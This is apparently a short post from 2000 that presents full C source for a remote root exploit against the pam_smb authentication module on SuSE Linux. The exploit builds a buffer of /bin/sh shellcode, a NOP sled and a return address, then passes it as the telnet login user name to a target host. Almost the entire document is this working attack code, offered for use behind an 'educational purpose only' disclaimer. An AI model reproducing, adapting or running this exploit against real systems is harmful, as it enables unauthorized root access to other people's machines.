Based on Shaun Clowes' finding, I developed a remote root exploit for linux pam_smb bug. Below is the soure code of the exploit.
/* * PAM_SMB REMOTE ROOT EXPLOIT * by bibble -- bibble@263.net Oct 4, Y2k * * test system: linux suse 6.3 * affected system: linux suse 6.2 6.3 6.4 7.0(but not default package) * other linux systems include pam_smb package * * The Pluggable Authentication Module (PAM) system is a means by which * programs can perform services relating to user authentication and account * maintenance. Detials see: * http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/pam.html * * pam_smb is a PAM module which allows authentication of UNIX users using * an NT server. Versions 1.1.5 and before contain a buffer overflow that * would allow a remote attacker to gain root access on the target host, * provided that the target host has the module installed and configured. * * If remote system's login sevice is authenticated by pam_smb, that is the * /etc/pam.conf file includes a line like: * login auth .. /lib/security/pam_smb_auth.so .. * or the /etc/pam.d/login file includes a line like: * auth .. /lib/security/pam_smb_auth.so .., * the system can be controled remotely by below exploit code. * * Thanks: Shaun Cloweswho found this bug * * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND I ACCEPT NO RESPONSIBILITY * FOR THE USE OF IT * */ #include #include #include #define LENGTH 400 #define ADDRESS SUSE63 #define SUSE63 0xbfff6990 #define OFFSET 256 unsigned char loop[] = "\xeb\xfe"; unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void usage(char *s){ fprintf(stderr, "Usage: %s [-a address] [-o offset]\n", s); fprintf(stderr, " -? for this help\n"); } #define ALGN 3 int main(int argc, char **argv) { char user[LENGTH],ruser[LENGTH+3],host[20]; char *arg[4]; unsigned long sp; long addr; int offset=OFFSET; int i,j,c; printf("\nRemote exploit for pam_smb authenticated module which is used by login\n"); printf("bibble -- bibble@263.net Oct 4, 2000\n\n"); if (argc < 2) { usage(argv[0]); exit(0); } sp = (unsigned long) ADDRESS; while ((c = getopt(argc, argv, "a:o:")) != EOF) switch(c) { case 'a': sp = strtoul(optarg, &optarg,16); break; case 'o': offset = atoi(optarg); break; case '?': usage(argv[0]); exit(0); } if ( !argv[optind]) { usage(argv[0]); exit(0); } addr = sp-offset; for (i = 0; i < ALGN; i++) user[i] = 0x90; for (; i < LENGTH; i+=4) { user[i ] = addr & 0x000000ff; user[i+1] = (addr & 0x0000ff00) >> 8; user[i+2] = (addr & 0x00ff0000) >> 16; user[i+3] = (addr & 0xff000000) >> 24; } for (i = 0; i < (LENGTH - strlen(shellcode))/2; i++) user[i] = 0x90; for (j = 0; j < strlen(shellcode); i++, j++) user[i] = shellcode[j]; /* for (j = 0; j < strlen(loop); i++, j++) user[i] = loop[j]; */ user[i] = 0x90; user[LENGTH-1] = '\0'; user[LENGTH-2] = 0x0d; /* printf("%s\n",user); for (i = 0; i < LENGTH; i++) { unsigned char u = user[i]; printf("%02X",u); } printf("\n"); */ printf("Address:\t0x%x\tOffset:\t0x%d\n",addr,offset); strcpy(ruser,"-l "); strncat(ruser, user, LENGTH); memset(host, 0, 20); strncpy(host, argv[optind], 20); arg[0] = "/usr/bin/telnet"; /* use your PATH of telnet */ arg[1] = ruser; arg[2] = host; arg[3] = NULL; printf("Injecting ShellCode ...\n"); execve(arg[0], arg, NULL); return(0); }